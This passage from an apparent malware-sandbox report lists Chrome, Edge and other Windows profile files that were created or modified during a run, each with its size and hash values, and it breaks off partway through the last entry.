Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
b7ae39036e078136c7fcb02c8bb22414

SHA1
3b53319309948533036b0303b0740900672d6592

SHA256
b55cff49b22ff558e5d24fde2588285273b0ff3c43935ebc860e5aa8addfe76a

SHA512
5fc57dd773ee69071ab55eb4cc07c7a9e8b50ce4aee462aa576119878ebf4aa9cc0ec9b3add22a2d20d78c84fbfffd8fd61c61df8a0795c9e0bcd344feefbbbf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
9a6f7573192ae8cfed987794b9ec10e0

SHA1
6bf8c12d39ec2069e366d49ecf486c47356931a2

SHA256
3bdeb6192419f5105bb6d3fcaaeacd35bed67fc5428a16dff295c4cd9236fe86

SHA512
7020b3385fb3062f7273f142d2aab4d637c13b385aa384ebc3cdee271eaff0d503e3777deb9621948aa6501a5689f7ea4e3ff0345fdc5c86d572492615c64254

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
fbbfe72105f0e0f1f140848a8f680d8e

SHA1
27f5219c7d4b538204346b3a3301858960174d21

SHA256
b128c5cf0fcb661c67078de45236aadf80863de6cf77b2b1074fce69d7f20071

SHA512
3ad3b673eb21b8594eb900b2e588c499c240fb5e1e88639c0c4f9317ec18c838c4db26296a9b7bda67938fb5f4a8e6b6d59b51663e96a3884cb1432e5d535ee6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
d9effa95fedd976494353bec1e2123ae

SHA1
a357c15f97c939293c7ca64301de68928f139d04

SHA256
8ef70966aedd25334259c0ba10afdd4f69633635d0499d9b2269aa7f15d129d9

SHA512
6853ce2f661f13fa8d30644012846568c977e03dc080efd6c8c8f753728738bfe7f989bde86f68aa9ebbc2bcc7b3409c499a170e9b6169d09253e410766aaf42

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
71a089d5fc0fbdbbc47aa17af6042a7c

SHA1
3925826c99b270cbbb3ffd0059fcd786f6907572

SHA256
e4d65dd6c3077e804031b0b57006c27c8dd19849e3ea315b1f7661f0a3eaaf41

SHA512
829ebaa5f4c09f466a062790441f60571e7c43069f01340fa51bf67a9f6e8aa44ecfe8d97a6b4c2e671a82bbd4014e6b154191e92d902091a263a89be12acb9f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
12bca601c45de7f48d9fcb2925d639e6

SHA1
f16c4f0dbd931c7068ce67969358f686a9eae4ec

SHA256
18fd643bb3a3cef3e44fb89a208bbd4ba691892d16d4f7b4dc50a8920e4970ce

SHA512
96df1e52aefeb65d81fd7ea6e13b4b4d8ec8a6b1598c7743fa50836f7a149c9367ea60d05fe42a80677b92676a7127ff7412e71ebd8488107ebb8d859890db10

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
8842c84c3a349d0e5e710e54ac257b94

SHA1
7886f45aabc49bd1e5d2428050e05c8780a62ff8

SHA256
431da2168012674693f1bc815798b0801f4f3415d1b24fc7aaa85523cc4b14de

SHA512
af1b9a4707238251f94c92556148c9194e01022aa6262abfb7591fc3b706144c6921019f74726a15f460ae53ccc2bd5f1477792ecbbf88a479fa31d881b153d4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
aefeabc8b800ed8bd0e7b2572212693a

SHA1
5a27b04a737421d568dc44320a2ac8bb8c2d601d

SHA256
4299717e659d6072faf5b1c94eb99e2f1f2c1ee88b0d3b51e178da5df9b33a5b

SHA512
617e8acd5ae76f2d6556f58950ccc29e3398ac9ed501f7bb8bd86eb5225337c3349b2090cb3c97867628f0e59336376dd168ac98a31e775009d5ba8f877bd562

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
750b16046ed321b1a46cd19adac6c9a4

SHA1
8f1e23a336938a302faa04ea4e5a503abda8ed2d

SHA256
9badd6cd870921277175521c41a4d5b4336017e1bc692fe373f0a85ae2325ac0

SHA512
4b651a15f74e5fd2c7cf51050c0160d755692f77e313bd267204b4a37b6a996f971cb21e341cf98a77b28a57953757d2cbd5409bd1e7d0c757ac641e15889954

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
1a708b4c50f1f5ac005cd0412dfbc9a3

SHA1
143e5b3a0b9431246d761bfe192119de4d663716

SHA256
c7057248f8824efeacc256714e6271632bd343e5fb02187d729d37c5497e234c

SHA512
36aec88183a6d4de2aab151c2bf4377a2522c9471a439b2cd63b2fbff3e618e2070f35adc87f0d5066187de2a25750e4d9710242b9cbd4cfba5be862203364d1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
fb28dbbca798fb9bf010cb8b71852e50

SHA1
0364cd884a566fbe5c305fa1003ee929b96eeeee

SHA256
9e61646b40b083c15f5cc454ee902c778efd75b8687b9e51027ed6506c441320

SHA512
8ffb157a1458922e2e03a400beb95752d69e015bf9e477d132bd46a1dfc8de64486e66a12cd09be17763adaf9ff188e2a903be7c64823b4300961e5acb222588

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
9bd4b22541bd4d8cbcda23e7abc977aa

SHA1
2a636b67966f4f202a47056338717efec59ad598

SHA256
7d0d9af298e4869956f970c924b59b67212d0c17a11f24e81fd8337b9b664a01

SHA512
e706a34b277c4e76e8efcb631a4c3dd0fdbbab67e2bd14417a793103d6d5e04e371e05d7c6201846a74224286fc7787084379a5d27e4bf4687b5064b6ea3455b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
5316b0ba872d9ef5f9612f58d21b1459

SHA1
aa1cdaa60bc8fe72acfaa7fe89f4a19dbd207d50

SHA256
9322b117d8b6d17e0fa6c75bbff9c1946964583465bcdf489b92abc8c112b8cb

SHA512
97b2a1992a560aa5fb6a0bf5271f929a98a254f71832fdc235ac0a8e4d032e5b82cecc7edb8ecfa2b7cdcf6f29135e7bbb726a8c27112d40abe0a486965474d5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
c6542b415c031c3a9a05fc9c1a995caa

SHA1
465bbd1d7f51b09b5bed3574b1f2b569cb744c03

SHA256
e5fc9bbaeb722f24005becec05181d9aa2758e5775671a43f2f45bf42de828a3

SHA512
5d50f5ac96d55980fb5c4bdf5b731c91754777edfc18ffd26002abc84b5d6a6703b615e98a27f787493acff9d6a0b03b9e57316537d80e8ea282cfcce3dc66d8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
87e642d3578f8973e265e2243fe556a8

SHA1
a03b64d48672da4f4b2cea62011994b1ea2f4990

SHA256
9816834bd63e8d6c4a87d5831083896a75a7dc511d34d15fbb16aef57e6c07bc

SHA512
b8d20d9ee6bb2cd276467fc80e48af1b29009876c6c7672c9bf926f6cc73cf70589a6445b5f129f46605eab89e1a581193c9e95cd79ccc507e7dded890ada7fd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
a0b2ed949a85a68cd6b2be5f4b67fc93

SHA1
64963375b54ffb74036d4275910844cc5c91490d

SHA256
b278378fc0ccb8a69ed821cc513252f69140f388f04c39a0586d79e27c3695db

SHA512
8460c9148a4353b2ba9645d853eb8773af9db016307de766849ce460c0ab6f3b1022b9ef4bbf5a01a0f6e4d8c9ba01f84ccfe70c338728ddf1bf1dc50c222505

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
d1a8b16cd335310a866b12805a3c5303

SHA1
de2df81dbf93d1e6c1f1e58c9f8fcab20fab5b31

SHA256
1f94e03cb574c01e2c4ff5f509586ef8f4503539e515152e6b93cfd6c9af1c87

SHA512
2fd25e306ff6ad2356a18c7a5de63259f91154509c0b8054a9f68d4dbc0c35914fe959ff7eb9d1d114f116441ff84e2db257b4fb677404b60a94edd4954773d3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
612463377124403ac05d6e6319c963b4

SHA1
2dc588e655ee9770e54545d19c9ff10012f4413d

SHA256
8a4815ebbd9848c1e4222724a408e7486cc43bc1e8a21e068431356d54e32b8b

SHA512
4780dd8128f2942046ba2c8ec000956a41d216bda3a105990f68c630428f00cefe4c059426eed30786f1073bedfd107de064b10bf5607a0dcdf61469fe9f0c9d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
f4f529372ed64029759e4bca3fea7bf3

SHA1
4fa9fa41b09ff396dd751a67f7a9c7cca4be69ce

SHA256
8cf8ef9b3924980e1a526c46e291a6dcb0fd873581018ecc3e7d8138c3576e6e

SHA512
bc88c13927ab50e9428264c12b9f0792b8f45e3f5ab168992947e168cce0d8a74ee5416dfb7b1cd3002adf7c120098feee7efd011f193a60fa01edbeeba71cb3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
e4214e47c7378812927cb035de449465

SHA1
ef19167949cefb146935622ec3c9d8234c1c1554

SHA256
72b4ba8a37deb09c70b19c653c01830bc68b21dd13cd8131e9342153d18c0f51

SHA512
41870e8eac9bc6dc3c12106c3efc6a07ca80272f2e9bbd23585aaa853040a40206dd807eab9d4575a0efa09f971bf39cbb4a5a0d4c5d3c5e8ce577fe56f912e5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
128KB

MD5
ebbedfbed0aa369a767746ff6a20573c

SHA1
d5ba398873368b9bac45a51cc206b672a910e5a5

SHA256
3628c68aa98a822e12154cc4ce996780d965b630b5730ac60ae602b2d35faff8

SHA512
01fada2fee9aadc5d439c8ab9bfb992f79cf7193964c64b89b344678a221cded25760211c3765052057005036b0345200dd7a0862d1495dfb2f2a97851e09e18

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
b6454c95b3110fe3dd024bb45a964805

SHA1
c26c13ee4238feec060033cac159685531048473

SHA256
832e62e78499fdcf6245d2ae8ca93acfdab4b4d319ec4046d67a31568a310aa9

SHA512
b440a69213ee4e77d335c5181b6fbee878b1d14d9d440982a98213af8ace1800babb97375420d420a1a5e541dadf403e8b8c4812351d83dc3405acf8fe7c7b93

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
5c7cf2865977a4742323eda843c5f88d

SHA1
a5352f877c44ca27097fd812e0c924dadba70ab8

SHA256
8bedaf12fe122aaa0fccb182506b82b0326927d8076b3ac6d4c65d76aba63800

SHA512
d873bf237126fe6c1a5d0251b8418bc123468c59a51161307379ba65879465c33707271bf1819d01342269bd923a7ad283db5cd368bd03c36bcbe1fd04e040f9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
e2d9fd8388ba6718b21035fa9f48ce4b

SHA1
585ed6481f41c4d430d273389569d6826e4b2b70

SHA256
c6e4d849820e0762f33b60e21ac5897e435bb29b6b6d55d37192301fdc6e673b

SHA512
55fc0e2167c105075cf28e36a8df2dc4ac5a64ca395aff3ea23d66fd1e4e430c81ce084152211a7c48ef36df7705125aa69dee86155ecb6b695f58b576539f5d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
f3619a5d8eade54a48cbea54236664f0

SHA1
d4d8fff254e457c0e9fad91ddf42524281c9348c

SHA256
4b75d2fe29d3f99cb5db6d2af5d1b37971838ec3b57c7b9926d514c8f4f9e7ca

SHA512
09b52cb0c777fa5bbbe9d3cea979e09a765bd3a0b879462fe7f3305fa13de89fc2725104cf1dd1c36c4e28275414a10030a81c5fc91eeb96c620ac274a3f643d

Download Submit
C:\Users\Admin\AppData\Local\JxBrowser\7.27\locales\ar.pak.info

Filesize
742KB

MD5
6a7fbad7a44ff6ce7aa0c9eacddf69d7

SHA1
13a992a23f2e11f9c67cb3f0ecc9739568f7be70

SHA256
0a876632b957fddf2b8ba5015093f3ad1d213185c54b7d7b58d5b6e356ffbe1e

SHA512
2658c388fc4e670695c30b0649273172a432a15b6f9f5ab71c9fabea48c21e36e42d8a618c1d5d781433ca059f9857974ec0a43260359c044e37e92bc2cb3f59

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
d135728a14f09b0532d9def2e788693f

SHA1
04df20e254831295e26f9e6d2f3102d523240818

SHA256
19aac20e9b9007248e3a5065271a7ef5983565bb8209ce14508bc1c086442882

SHA512
97660030bdc67a6430bfdfbbcb0046ce339f54fd3f3491404ad49fa47b719c604a2e7ad044cc9096e64907829c7ffe06dcd4ec9ea4a742980bcb3b1e8404540f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
c4a10f6df4922438ca68ada540730100

SHA1
4c7bfbe3e2358a28bf5b024c4be485fa6773629e

SHA256
f286c908fea67163f02532503b5555a939f894c6f2e683d80679b7e5726a7c02

SHA512
b4d407341989e0bbbe0cdd64f7757bea17f0141a89104301dd7ffe45e7511d3ea27c53306381a29c24df68bdb9677eb8c07d4d88874d86aba41bb6f0ce7a942c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
4c3889d3f0d2246f800c495aec7c3f7c

SHA1
dd38e6bf74617bfcf9d6cceff2f746a094114220

SHA256
0a4781bca132edf11500537cbf95ff840c2b6fd33cd94809ca9929f00044bea4

SHA512
2d6cb23e2977c0890f69751a96daeb71e0f12089625f32b34b032615435408f21047b90c19de09f83ef99957681440fdc0c985e079bb196371881b5fdca68a37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
5aa716bb5a622ffc067efc6c85456523

SHA1
f5915fab4898e2586ef6bd7520513ba3e122b936

SHA256
4798ec5f836964c639ae9887ac54abd8c1ccab69b0991dde8575fdd98e82a662

SHA512
4261a0dbd475e1eab5ff67ffd2bdfce729dd81b300999e4a1f40c9975b28d2ad9f4f30572e38f220c191a79f627a3565fa5e8d0baa808aa51688c6a3dea1fa24

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ca5e9955524c9823b048e60ed6947ab0

SHA1
aca389f7f8abd8a414c75b6edc7d9b4b4f9867c4

SHA256
06fc4308be85717134d406c5926d769e72b50956c2b424131bb2b3416e7afd8a

SHA512
63abe46140b6e9824f3cddd85a4c39ed8efbb54bf5d3872e8033f7bca698ae9ed10454d8be73500186e701462584f516ecb06acbbdd2a6a02d6dca7616002818

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\2866a4c1-d5a3-46d8-a40f-1dfc8847fb47.tmp

Filesize
6KB

MD5
d7b9dfab6352f53ed0c4caaad4319417

SHA1
07c2476caa1e8973bdb8d452401162506ec52dda

SHA256
9154ddb980a99076245be6f60c258492e4e25fa70d7d904abeeace54c05dea3f

SHA512
80818c0d9441c1b54e3c3a678aaeeaf3fd545c05f2cdae3266fcc9414c681b6212539c0d68692b301d4e4857528ddf90e5cc5779e632a8842c71001222b4bcc2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
6dd5a67f4f0659c4f1abdf73060dd670

SHA1
de971cc0f9262d26c29dbbceb0ba654bac055b25

SHA256
ccaf6b0824d1f250d51802ae8641e834a27bbf2c4b05049aa76dc88d96847f5f

SHA512
5a3be2f0b1ec1e537eaf82ed3993904dbf7c6e2e0d094bf242e6892b75c41c18b95b34aa79ca5ea193eca233556a700898c28dd4a3cbbc724426ed96e549a6c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
96B

MD5
8cd9d6b78c079c339625190ef02c37e7

SHA1
7ca45b2ed657921ef79ebac1eaccceaec42c244a

SHA256
0a525960d2e4360fddb73bc1602f48f00ad388c0bd428341b79236dcfdb08080

SHA512
b438cea5167f15f991b512588fabd1c1ad3db469d1f5d28b5de538cf050c6bf89408f76f788444556a5d235f663976363a9ff9789263c367682f4a5a950a0dca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
b8150f2fe92f684107c4dbddc1adc3c7

SHA1
f77b21eb730cff96d5111ca3885ce99aa0678eac

SHA256
149fa3d997ed147dbe67af1e93bb15b49f76282787cbfb8fa0873c233676d1ab

SHA512
b32f5daec7e4d960abb85a9590a9042e68313475083e38495f952a0feb1791389ffb18eb34cd71ee07a3538923e2140ef107b43fe9eeef384f99b2286d4a23c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Filesize
20KB

MD5
ded45fbf708f57ddd14e226bf223308c

SHA1
82e3f2a3af295ee5d7b366bcd5354669184c18e9

SHA256
27c5bd247ba89f19096d13e796a852118a74224409e418d83393c8c588ab72b1

SHA512
67acda40e9fc9470b8f03a26c4606930f60dcd503c02a7e2c598c6170f7bcac66c0d0d145eca5f7ed356d4dbf57f8c6acf16eb6e19a10f66ad0ee20e0594de32

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
116KB

MD5
da8ca43b45dc21233557c7e03946ab0e

SHA1
3c862af3c4f8c7c7cc0de408e59e0365be194e13

SHA256
f7917a72e319de334ca0103376cbffcb15d9d23ba16c510cd7fb09db27308444

SHA512
9a02e39f519bf6a541c634f02210d6ee34ee28abea89d0a06299075415db3150d78d9d93dd9168e58802dd9a17f479e7f3488ceb7b312eceea9e7c40bac170ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History Provider Cache

Filesize
3KB

MD5
9e4ddfa7e6239f9de6c2de0a9ca9bf8f

SHA1
47dc83a4749e83aee25814674b8ca4c2715ea126

SHA256
d37f6244faace13ca299046d736f99967b1d2eef3784323bd36a8cfbb49ce643

SHA512
2ad37745d9d1aba61c2715e94acd33fb893fe9d7118fbfbf5646bc48ecde0c352142f8eb11a3ece0f5f665ba2853fc3698c19c5463f06af09ba71fef59306499

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Filesize
151B

MD5
95c82a485f09951b9674011b8ed0b16c

SHA1
4e43189de06405d2e9b5bc7e600f9c2b41129d31

SHA256
c0b91381895cf0d552640b2f0eee5fa99e8cd6aa1330a09cd3481b666d9e161e

SHA512
3dbfb4d0eb1b4245286d866052bf86d2d9c8de193c66a59e5d4da596b8619871f177f42e6832475b670b0449c058e38c61f5785f02325c1fef871441a5d4c1dc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Filesize
334B

MD5
05b352998c5c5c0d80f0c2edd862e72e

SHA1
2a6ab007311df5e3a51dbd9d3730d40b1cbeee5c

SHA256
406dcc9d23bf377fc5360ea68e6d138ca12766e9ab7b5a27bd77546364d87c77

SHA512
b39289a2e594ef0be4ae43f17660bfb3c2b35869385d711e17e80294533a08c90a9acac15e9a281945ac755b72e3201acccd86cc33ccaffb3c2b6bc234a1a75b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
362B

MD5
4e883d7a6148acd14dd4445801146900

SHA1
4151488bac60eca7c890c734b1e1ea9948405532

SHA256
3e1df4fd23334934977df8aef2dfa51c2ee564692750a064cbbf2894e62e6958

SHA512
e96912ec358b9b2ff83a05e72d45b60262e43d7a369f0ad9a5630a05ebfdca4e95f5e351b1aea47ad32ed7abfa1824bddecf22ed048d0c4497d15b4f63b054e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
5d5d82a1e978f65c9e22e96ed70d39c2

SHA1
c887eef041759e2f6db846743418f5f24ee80231

SHA256
da9dd9ba4ec27a2d7b97e2cd4d7b46528080bbfb4d828261d91f4b4a7f588eeb

SHA512
5d1150427f2443103421b41e4b06cbd69876d36c6544fd4b5e24b466754255075b0996e457a9c31260f40f5bab5f3fc8559c912110c689d261eb1b063daabea8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
f685681a6b11ff075c81c0a7fbecb22b

SHA1
dfc90f070874060bb724f32d7d3a8f8321d269f3

SHA256
77d01162bffcb88f43106a748b518c7b0e05bedfaf8f7d7b8534c2957056f6e9

SHA512
cc4fdc5368d9df85238388f319671e6e59df293a5ce593c266fb26d65b419bf5d4660116acb028294d2e6c08b396bd8da3dea892c3aff27fec768f7c8cbb837e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
34adc8da04253ec17c5ee7559edb2d07

SHA1
b621b0c83bdd95f0851ba62212d242dfffbaeb74

SHA256
d6df872cb210a827aefdb745a95c2d3256c5d5666949ecc261f56183b0daeb6b

SHA512
ae206eb556f95690d732c7cd951b17270af49243430eebdb47cc2c969aa86d25cc69d5014d62b5105a956040f5e5803fc99375ac86d402e035b2750194d49bdf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
29d5447bb91b54c84b8c78ecf080fef6

SHA1
84534cedbb54c9037ddb93d77c9b97eb8dac6f3f

SHA256
8e52a3a783dc0746ec9fcae4a063fbfbb7dc33d5fc7bc6c2860c7766b2b8359c

SHA512
7f615578b518e381e40a2412d5f7132b49428964699baf26e11b9aa47d92664cc316d343199798f4e08a02ebff6f5f62c0020c6b935b1440fcec02804ec07c48

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13372554362615964

Filesize
4KB

MD5
9e6f03cac4c4342fe7a36c7103738769

SHA1
69fb2c8c13441a48143a83b92f898c8c127124fd

SHA256
d23e230cd95c2cb429bddb5d32adadcb3cdeb5a45781206e634af12a390d6ebc

SHA512
daf8e36d511b8feae54fe4ed68853adda10dca12980378eacd5aba6702601fae32761d7e643edeca2f92190554a2a04cbfb32272a026457048ef164bff1693d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Filesize
112B

MD5
943c4e092f46bfb298137f010a41030d

SHA1
1802f20980a9c52a14823a51da5af242d8bb3e18

SHA256
779277c167ee169d22d5ddff93bb036de386453f48ac1918bc025fbff76a6558

SHA512
590ad5e4c8138d0d0598a3887512198dbf48698ada8b296d80b2183dc9ce78696b87b522a6f8d21492d23d248d3dfc25bb0acaea1c24b80e03f12df09edd85be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Filesize
350B

MD5
56751196d7937999024364f257b70877

SHA1
ec0ad202297d8d9db72a499560aca6cc1ffa1923

SHA256
67b38799fe028d86c7383a2ea3554934085a3fbd00cbaa0387d0524ce63cea38

SHA512
c85fd2f08240a14eb97b3e455435146e9867213b987f01bf92175905a5a95910fcd9767acad685931f0637d8fdc19a3ebe8e07e1a6162478afbadec141468729

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Filesize
323B

MD5
43c631fe1832f5d0209d6b98ab7cc939

SHA1
d8a900ce168bebeb319178ae7c3ff6a4215310d5

SHA256
f8c8fba9cab990e44e1b08c9d02c03bdae8f1c15fcd559d06a21d1c703872534

SHA512
cf145322ac47966beebc9f1c54e3bd1f3e6409b79ff618aec1e065a9114e0f0f3dc727fb1ece50ca5a260f04a2d2025adda2c85815b0a3a290aca48f8facc190

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
372B

MD5
6e69cf65aa824679240abc1838163c58

SHA1
21dae74f7f3076f9c2e26df0b20400f4d79bd747

SHA256
b8ad78176366f470cb5870c0b5560898bd230bc4fd2cb97c8d538abbb0150bb9

SHA512
d422de0960d382127132396ac38e10f7cd1a6b3e42aceb8242d6a44e31d2c3f7e2c763485e5516f4b0ea145711748f5d8c4cc5fcff32e61c474429e384835949

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Filesize
128KB

MD5
9fbf8c17e600c9c7733507225f3e6f80

SHA1
229bf2f386878665320c2228665bb760793970d3

SHA256
f1ce416786f34bce4dde4a28d2bbff8c6f8326ff17ae319ddcdd69170dc43580

SHA512
7bc55ad1e81e7d2badf04909317fd73c53ee4fcad84d5d44ee5e00ce9fe3f2bfcdc4443c24f60f9cab5c62528246ff5eee0f7e3791af7fed4b26041c858802f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\c2e57c24-ae23-4345-a09a-581d4d6ac88a.tmp

Filesize
1B

MD5
5058f1af8388633f609cadb75a75dc9d

SHA1
3a52ce780950d4d969792a2559cd519d7ee8c727

SHA256
cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8

SHA512
0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Filesize
44KB

MD5
42200a13165ca87cc90a877d43107600

SHA1
2962999de6918555be62de725aacce1f84349db9

SHA256
63dee5b8000bad0e711cfc34b11ace2ac7a92d49a4c607cca0bac7ed741386c8

SHA512
a6d97a4b3777d4d789d0c578179f4802afaab04302acb1a674f26d58b0593a43be0b1f0274d2c621d44ce89fd68210326c22ef7a6afa54d3a0b65d84e54946f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version

Filesize
11B

MD5
b29bcf9cd0e55f93000b4bb265a9810b

SHA1
e662b8c98bd5eced29495dbe2a8f1930e3f714b8

SHA256
f53ab2877a33ef4dbde62f23f0cbfb572924a80a3921f47fc080d680107064b4

SHA512
e15f515e4177d38d6bb83a939a0a8f901ce64dffe45e635063161497d527fbddaf2b1261195fde90b72b4c3e64ac0a0500003faceffcc749471733c9e83eb011

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
cb5cc6e42da7ac3181b6847c96170a4d

SHA1
77fe23f000557166fe9915bf3da79fbe37fd343d

SHA256
789fda46148d90099a31f2fee13f2b317253bd706b8758bf8cd6da6b895a22ed

SHA512
7d0c08d03311c2651f46d56ac3df8dfbde20d3a619a421c8a2928aeb7bfd52e3a30042e1cd4b8ba26d64323ff83da4b11d4a35ab4cadd180db4c27c03cc505f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
7a6717f18c7001e57271bfb585393955

SHA1
1d167a58812d17387cb8e707970cd3863e024e3f

SHA256
bf2f9b8428ddfaf6b6fcc6d8f27502c0664d15af2bde572e6320579e50b7c886

SHA512
904edcbc11276e3c465186048ccb223c033e26d10d6319eee700e6825e8f8a1ac630da6b63ab69c7189c47e7cafd0dc463cf9196d0fdfae009519825b1aa3021

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ec5e0e2a-a133-42de-a45d-5c5d87203597.tmp

Filesize
10KB

MD5
643a1bc875f07ee287035f4961f15b99

SHA1
39d582cd18ad9855a3904a3e3aa7d1ce28a4960b

SHA256
36e6602733797e2dc75953d4cb5cfe4c657a8979873ddcede87ed5a77e1634a0

SHA512
